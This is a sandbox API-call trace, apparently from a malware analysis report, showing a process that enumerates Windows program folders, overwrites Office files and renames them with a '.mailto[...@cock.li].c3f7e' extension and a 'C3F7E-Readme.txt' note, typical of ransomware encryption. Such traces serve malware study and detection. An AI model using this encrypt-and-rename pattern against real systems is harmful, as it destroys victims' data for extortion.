	[0093.368] wcscpy (in: _Dest=0x491dcb8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Services.Store.Engagement_10.0.1706.0_x86__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Services.Store.Engagement_10.0.1706.0_x86__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Services.Store.Engagement_10.0.1706.0_x86__8wekyb3d8bbwe"
	[0093.368] wcscat (in: _Dest=0x491dcb8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Services.Store.Engagement_10.0.1706.0_x86__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Services.Store.Engagement_10.0.1706.0_x86__8wekyb3d8bbwe\\"
	[0093.368] wcscat (in: _Dest=0x491dcb8, _Source="AppxSignature.p7x" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Services.Store.Engagement_10.0.1706.0_x86__8wekyb3d8bbwe\\AppxSignature.p7x") returned="C:\\Program Files\\WindowsApps\\Microsoft.Services.Store.Engagement_10.0.1706.0_x86__8wekyb3d8bbwe\\AppxSignature.p7x"
	[0093.368] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x491dcb8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1174
	[0093.369] FindNextFileW (in: hFindFile=0x2d71440, lpFindFileData=0x2e289a0 | out: lpFindFileData=0x2e289a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3708b3d5, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0x3708b3d5, ftLastAccessTime.dwHighDateTime=0x1d32718, ftLastWriteTime.dwLowDateTime=0x37d35dd5, ftLastWriteTime.dwHighDateTime=0x1d32718, nFileSizeHigh=0x0, nFileSizeLow=0xc9, dwReserved0=0x0, dwReserved1=0x0, cFileName="logo.png", cAlternateFileName="")) returned 1
	[0093.369] wcscmp (_String1="logo.png", _String2=".") returned 1
	[0093.369] wcscmp (_String1="logo.png", _String2="..") returned 1
	[0093.369] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd2) returned 0x2e44b40
	[0093.369] wcscpy (in: _Dest=0x2e44b40, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Services.Store.Engagement_10.0.1706.0_x86__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Services.Store.Engagement_10.0.1706.0_x86__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Services.Store.Engagement_10.0.1706.0_x86__8wekyb3d8bbwe"
	[0093.369] wcscat (in: _Dest=0x2e44b40, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Services.Store.Engagement_10.0.1706.0_x86__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Services.Store.Engagement_10.0.1706.0_x86__8wekyb3d8bbwe\\"
	[0093.369] wcscat (in: _Dest=0x2e44b40, _Source="logo.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Services.Store.Engagement_10.0.1706.0_x86__8wekyb3d8bbwe\\logo.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.Services.Store.Engagement_10.0.1706.0_x86__8wekyb3d8bbwe\\logo.png"
	[0093.369] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2e44b40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1170
	[0093.369] FindNextFileW (in: hFindFile=0x2d71440, lpFindFileData=0x2e289a0 | out: lpFindFileData=0x2e289a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39b4ff24, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0x39b4ff24, ftLastAccessTime.dwHighDateTime=0x1d32718, ftLastWriteTime.dwLowDateTime=0x3a525ccf, ftLastWriteTime.dwHighDateTime=0x1d32718, nFileSizeHigh=0x0, nFileSizeLow=0xa3f98, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Services.Store.Engagement.dll", cAlternateFileName="MICROS~1.DLL")) returned 1
	[0093.369] wcscmp (_String1="Microsoft.Services.Store.Engagement.dll", _String2=".") returned 1
	[0093.369] wcscmp (_String1="Microsoft.Services.Store.Engagement.dll", _String2="..") returned 1
	[0093.369] FindNextFileW (in: hFindFile=0x2d71440, lpFindFileData=0x2e289a0 | out: lpFindFileData=0x2e289a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39b4ff24, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0x39b4ff24, ftLastAccessTime.dwHighDateTime=0x1d32718, ftLastWriteTime.dwLowDateTime=0x3a525ccf, ftLastWriteTime.dwHighDateTime=0x1d32718, nFileSizeHigh=0x0, nFileSizeLow=0x6598, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Services.Store.Engagement.Proxies.dll", cAlternateFileName="MICROS~2.DLL")) returned 1
	[0093.370] wcscmp (_String1="Microsoft.Services.Store.Engagement.Proxies.dll", _String2=".") returned 1
	[0093.370] wcscmp (_String1="Microsoft.Services.Store.Engagement.Proxies.dll", _String2="..") returned 1
	[0093.370] FindNextFileW (in: hFindFile=0x2d71440, lpFindFileData=0x2e289a0 | out: lpFindFileData=0x2e289a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3708b3d5, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0x3708b3d5, ftLastAccessTime.dwHighDateTime=0x1d32718, ftLastWriteTime.dwLowDateTime=0x37d35dd5, ftLastWriteTime.dwHighDateTime=0x1d32718, nFileSizeHigh=0x0, nFileSizeLow=0x3f98, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Services.Store.Engagement.winmd", cAlternateFileName="")) returned 1
	[0093.370] wcscmp (_String1="Microsoft.Services.Store.Engagement.winmd", _String2=".") returned 1
	[0093.370] wcscmp (_String1="Microsoft.Services.Store.Engagement.winmd", _String2="..") returned 1
	[0093.370] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x114) returned 0x4771868
	[0093.370] wcscpy (in: _Dest=0x4771868, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Services.Store.Engagement_10.0.1706.0_x86__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Services.Store.Engagement_10.0.1706.0_x86__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Services.Store.Engagement_10.0.1706.0_x86__8wekyb3d8bbwe"
	[0093.370] wcscat (in: _Dest=0x4771868, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Services.Store.Engagement_10.0.1706.0_x86__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Services.Store.Engagement_10.0.1706.0_x86__8wekyb3d8bbwe\\"
	[0093.370] wcscat (in: _Dest=0x4771868, _Source="Microsoft.Services.Store.Engagement.winmd" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Services.Store.Engagement_10.0.1706.0_x86__8wekyb3d8bbwe\\Microsoft.Services.Store.Engagement.winmd") returned="C:\\Program Files\\WindowsApps\\Microsoft.Services.Store.Engagement_10.0.1706.0_x86__8wekyb3d8bbwe\\Microsoft.Services.Store.Engagement.winmd"
	[0093.370] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4771868, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1168
	[0093.370] FindNextFileW (in: hFindFile=0x2d71440, lpFindFileData=0x2e289a0 | out: lpFindFileData=0x2e289a0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x3a630d34, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0xe56b56ac, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xe56b56ac, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 1
	[0093.370] wcscmp (_String1="microsoft.system.package.metadata", _String2=".") returned 1
	[0093.370] wcscmp (_String1="microsoft.system.package.metadata", _String2="..") returned 1
	[0093.370] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x104) returned 0x47174b8
	[0093.370] wcscpy (in: _Dest=0x47174b8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Services.Store.Engagement_10.0.1706.0_x86__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Services.Store.Engagement_10.0.1706.0_x86__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Services.Store.Engagement_10.0.1706.0_x86__8wekyb3d8bbwe"
	[0093.370] wcscat (in: _Dest=0x47174b8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Services.Store.Engagement_10.0.1706.0_x86__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Services.Store.Engagement_10.0.1706.0_x86__8wekyb3d8bbwe\\"
	[0093.371] wcscat (in: _Dest=0x47174b8, _Source="microsoft.system.package.metadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Services.Store.Engagement_10.0.1706.0_x86__8wekyb3d8bbwe\\microsoft.system.package.metadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.Services.Store.Engagement_10.0.1706.0_x86__8wekyb3d8bbwe\\microsoft.system.package.metadata"
	[0093.371] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x47174b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x116c
	[0093.371] FindNextFileW (in: hFindFile=0x2d71440, lpFindFileData=0x2e289a0 | out: lpFindFileData=0x2e289a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3708b3d5, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0x3708b3d5, ftLastAccessTime.dwHighDateTime=0x1d32718, ftLastWriteTime.dwLowDateTime=0x37d35dd5, ftLastWriteTime.dwHighDateTime=0x1d32718, nFileSizeHigh=0x0, nFileSizeLow=0x300, dwReserved0=0x0, dwReserved1=0x0, cFileName="resources.pri", cAlternateFileName="")) returned 1
	[0093.371] wcscmp (_String1="resources.pri", _String2=".") returned 1
	[0093.371] wcscmp (_String1="resources.pri", _String2="..") returned 1
	[0093.371] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xdc) returned 0x4e32a80
	[0093.371] wcscpy (in: _Dest=0x4e32a80, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Services.Store.Engagement_10.0.1706.0_x86__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Services.Store.Engagement_10.0.1706.0_x86__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Services.Store.Engagement_10.0.1706.0_x86__8wekyb3d8bbwe"
	[0093.371] wcscat (in: _Dest=0x4e32a80, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Services.Store.Engagement_10.0.1706.0_x86__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Services.Store.Engagement_10.0.1706.0_x86__8wekyb3d8bbwe\\"
	[0093.371] wcscat (in: _Dest=0x4e32a80, _Source="resources.pri" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Services.Store.Engagement_10.0.1706.0_x86__8wekyb3d8bbwe\\resources.pri") returned="C:\\Program Files\\WindowsApps\\Microsoft.Services.Store.Engagement_10.0.1706.0_x86__8wekyb3d8bbwe\\resources.pri"
	[0093.371] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4e32a80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1164
	[0093.372] FindNextFileW (in: hFindFile=0x2d71440, lpFindFileData=0x2e289a0 | out: lpFindFileData=0x2e289a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3708b3d5, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0x3708b3d5, ftLastAccessTime.dwHighDateTime=0x1d32718, ftLastWriteTime.dwLowDateTime=0x37d35dd5, ftLastWriteTime.dwHighDateTime=0x1d32718, nFileSizeHigh=0x0, nFileSizeLow=0x300, dwReserved0=0x0, dwReserved1=0x0, cFileName="resources.pri", cAlternateFileName="")) returned 0
	[0093.372] FindClose (in: hFindFile=0x2d71440 | out: hFindFile=0x2d71440) returned 1
	[0093.373] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e289a0) returned 1
	[0093.373] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7ed68) returned 1
	[0093.373] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47cb738) returned 1

Thread:
	id = 835
	os_tid = 0xfdc

	[0079.798] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.htm")) returned 0x20
	[0079.799] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM", dwFileAttributes=0x20) returned 1
	[0079.799] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.htm"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x132c
	[0079.799] GetFileSizeEx (in: hFile=0x132c, lpFileSize=0x1e63f744 | out: lpFileSize=0x1e63f744*=174528) returned 1
	[0079.799] SetFilePointerEx (in: hFile=0x132c, liDistanceToMove=0x2a9bc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0079.799] ReadFile (in: hFile=0x132c, lpBuffer=0x1e63f6c8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1e63f6c4, lpOverlapped=0x0 | out: lpBuffer=0x1e63f6c8*, lpNumberOfBytesRead=0x1e63f6c4*=0x4, lpOverlapped=0x0) returned 1
	[0079.801] SetFilePointerEx (in: hFile=0x132c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0079.801] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47817d8
	[0079.801] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47815f8
	[0079.801] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781760
	[0079.801] NtQuerySystemTime (in: CurrentTime=0x1e63f6a4 | out: CurrentTime=0x1e63f6a4*=132251868065307389) returned 0x0
	[0079.801] RtlRandom (in: Seed=0x1e63f6b0 | out: Seed=0x1e63f6b0) returned 0xf1a06f94
	[0079.801] RtlRandom (in: Seed=0x1e63f6b0 | out: Seed=0x1e63f6b0) returned 0x5d979695
	[0079.801] RtlRandom (in: Seed=0x1e63f6b0 | out: Seed=0x1e63f6b0) returned 0x2cd85926
	[0079.801] RtlRandom (in: Seed=0x1e63f6b0 | out: Seed=0x1e63f6b0) returned 0x2fbc4978
	[0079.801] RtlRandom (in: Seed=0x1e63f6b0 | out: Seed=0x1e63f6b0) returned 0xa2ee621c
	[0079.801] RtlRandom (in: Seed=0x1e63f6b0 | out: Seed=0x1e63f6b0) returned 0x1b608c09
	[0079.801] RtlRandom (in: Seed=0x1e63f6b0 | out: Seed=0x1e63f6b0) returned 0x9f9e6478
	[0079.801] RtlRandom (in: Seed=0x1e63f6b0 | out: Seed=0x1e63f6b0) returned 0x39bec4f8
	[0079.801] RtlRandom (in: Seed=0x1e63f6b0 | out: Seed=0x1e63f6b0) returned 0x9619f47c
	[0079.801] RtlRandom (in: Seed=0x1e63f6b0 | out: Seed=0x1e63f6b0) returned 0xf3064c74
	[0079.801] RtlRandom (in: Seed=0x1e63f6b0 | out: Seed=0x1e63f6b0) returned 0x22187fb5
	[0079.801] RtlRandom (in: Seed=0x1e63f6b0 | out: Seed=0x1e63f6b0) returned 0xb93a3499
	[0079.801] RtlRandom (in: Seed=0x1e63f6b0 | out: Seed=0x1e63f6b0) returned 0xeddad155
	[0079.801] RtlRandom (in: Seed=0x1e63f6b0 | out: Seed=0x1e63f6b0) returned 0xe88284a5
	[0079.801] RtlRandom (in: Seed=0x1e63f6b0 | out: Seed=0x1e63f6b0) returned 0xe39a2540
	[0079.801] RtlRandom (in: Seed=0x1e63f6b0 | out: Seed=0x1e63f6b0) returned 0xdeba173f
	[0079.801] RtlRandom (in: Seed=0x1e63f6b0 | out: Seed=0x1e63f6b0) returned 0xad95ba98
	[0079.801] RtlRandom (in: Seed=0x1e63f6b0 | out: Seed=0x1e63f6b0) returned 0xc430da52
	[0079.801] RtlRandom (in: Seed=0x1e63f6b0 | out: Seed=0x1e63f6b0) returned 0x33066ed8
	[0079.801] RtlRandom (in: Seed=0x1e63f6b0 | out: Seed=0x1e63f6b0) returned 0x51e6e280
	[0079.801] RtlRandom (in: Seed=0x1e63f6b0 | out: Seed=0x1e63f6b0) returned 0x1c3850b
	[0079.801] RtlRandom (in: Seed=0x1e63f6b0 | out: Seed=0x1e63f6b0) returned 0x72a0891f
	[0079.801] RtlRandom (in: Seed=0x1e63f6b0 | out: Seed=0x1e63f6b0) returned 0xc4d731f2
	[0079.801] RtlRandom (in: Seed=0x1e63f6b0 | out: Seed=0x1e63f6b0) returned 0xa409b869
	[0079.801] RtlRandom (in: Seed=0x1e63f6b0 | out: Seed=0x1e63f6b0) returned 0x1f68ca1b
	[0079.801] RtlRandom (in: Seed=0x1e63f6b0 | out: Seed=0x1e63f6b0) returned 0xc56ad4d
	[0079.801] RtlRandom (in: Seed=0x1e63f6b0 | out: Seed=0x1e63f6b0) returned 0xa9b89474
	[0079.801] RtlRandom (in: Seed=0x1e63f6b0 | out: Seed=0x1e63f6b0) returned 0x4572f74f
	[0079.801] RtlRandom (in: Seed=0x1e63f6b0 | out: Seed=0x1e63f6b0) returned 0x735979b5
	[0079.801] RtlRandom (in: Seed=0x1e63f6b0 | out: Seed=0x1e63f6b0) returned 0xe7ec0a14
	[0079.801] RtlRandom (in: Seed=0x1e63f6b0 | out: Seed=0x1e63f6b0) returned 0xcfa3c168
	[0079.801] RtlRandom (in: Seed=0x1e63f6b0 | out: Seed=0x1e63f6b0) returned 0x3f9d73a6
	[0079.808] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781490
	[0079.810] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4754100
	[0079.810] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781620
	[0079.810] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4754100) returned 1
	[0079.810] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781760) returned 1
	[0079.810] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47817d8) returned 1
	[0079.810] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x492d008
	[0079.811] SetFilePointerEx (in: hFile=0x132c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0079.811] ReadFile (in: hFile=0x132c, lpBuffer=0x492d008, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x1e63f684, lpOverlapped=0x0 | out: lpBuffer=0x492d008*, lpNumberOfBytesRead=0x1e63f684*=0xc800, lpOverlapped=0x0) returned 1
	[0079.812] SetFilePointerEx (in: hFile=0x132c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0079.812] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfaa90
	[0079.812] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4754178
	[0079.812] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781648
	[0079.812] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781648) returned 1
	[0079.813] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4939810
	[0079.814] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781648
	[0079.814] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47813a0
	[0079.814] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47813a0) returned 1
	[0079.814] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4754178) returned 1
	[0079.815] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfaa90) returned 1
	[0079.815] WriteFile (in: hFile=0x132c, lpBuffer=0x4939810*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x1e63f684, lpOverlapped=0x0 | out: lpBuffer=0x4939810*, lpNumberOfBytesWritten=0x1e63f684*=0xc800, lpOverlapped=0x0) returned 1
	[0084.591] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4939810) returned 1
	[0084.592] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x492d008) returned 1
	[0084.592] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x1d) returned 0x2e34640
	[0084.592] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34730) returned 1
	[0084.592] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x1d) returned 0x2e34500
	[0084.592] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e346e0
	[0084.592] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34528
	[0084.592] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34528) returned 1
	[0084.592] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04018) returned 1
	[0084.592] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb348) returned 1
	[0084.592] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x101) returned 0x47173a0
	[0084.592] SetFilePointerEx (in: hFile=0x132c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0084.592] WriteFile (in: hFile=0x132c, lpBuffer=0x47173a0*, nNumberOfBytesToWrite=0x101, lpNumberOfBytesWritten=0x1e63f704, lpOverlapped=0x0 | out: lpBuffer=0x47173a0*, lpNumberOfBytesWritten=0x1e63f704*=0x101, lpOverlapped=0x0) returned 1
	[0084.594] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47173a0) returned 1
	[0084.594] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34500) returned 1
	[0084.594] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e346e0) returned 1
	[0084.594] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34640) returned 1
	[0084.594] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781648) returned 1
	[0084.594] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47815f8) returned 1
	[0084.595] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781490) returned 1
	[0084.595] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781620) returned 1
	[0084.595] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xae) returned 0x481b0b0
	[0084.595] wcscpy (in: _Dest=0x481b0b0, _Source="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM") returned="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM"
	[0084.595] wcscat (in: _Dest=0x481b0b0, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0084.595] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x1e63f6bc, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0084.595] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc4) returned 0x47192c0
	[0084.595] NtSetInformationFile (FileHandle=0x132c, IoStatusBlock=0x1e63f6b4, FileInformation=0x47192c0, Length=0xc4, FileInformationClass=0xa) returned 0x0
	[0084.596] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47192c0) returned 1
	[0084.596] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4769c68) returned 1
	[0084.596] NtQueryInformationFile (in: FileHandle=0x132c, IoStatusBlock=0x1e63f6c8, FileInformation=0x1e63f6a0, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x1e63f6c8, FileInformation=0x1e63f6a0) returned 0x0
	[0084.596] NtSetInformationFile (FileHandle=0x132c, IoStatusBlock=0x1e63f6c8, FileInformation=0x1e63f6a0, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0084.597] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x481b0b0) returned 1
	[0084.597] FlushFileBuffers (hFile=0x132c) returned 1
	[0084.599] CloseHandle (hObject=0x132c) returned 1
	[0084.607] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x7a) returned 0x498ce88
	[0084.607] wcscpy (in: _Dest=0x498ce88, _Source="C:\\Program Files\\Microsoft Office\\Office16\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office16\\") returned="C:\\Program Files\\Microsoft Office\\Office16\\"
	[0084.607] wcscat (in: _Dest=0x498ce88, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office16\\C3F7E-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office16\\C3F7E-Readme.txt"
	[0084.607] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\C3F7E-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office16\\c3f7e-readme.txt")) returned 0x20
	[0084.607] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x498ce88) returned 1
	[0084.608] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e17508) returned 1

Thread:
	id = 836
	os_tid = 0xffc

	[0079.811] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.vbs")) returned 0x20
	[0079.815] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS", dwFileAttributes=0x20) returned 1
	[0079.815] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.vbs"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1330
	[0079.815] GetFileSizeEx (in: hFile=0x1330, lpFileSize=0x1e6bf9e4 | out: lpFileSize=0x1e6bf9e4*=94467) returned 1
	[0079.815] SetFilePointerEx (in: hFile=0x1330, liDistanceToMove=0x170ff, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0079.815] ReadFile (in: hFile=0x1330, lpBuffer=0x1e6bf968, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1e6bf964, lpOverlapped=0x0 | out: lpBuffer=0x1e6bf968*, lpNumberOfBytesRead=0x1e6bf964*=0x4, lpOverlapped=0x0) returned 1
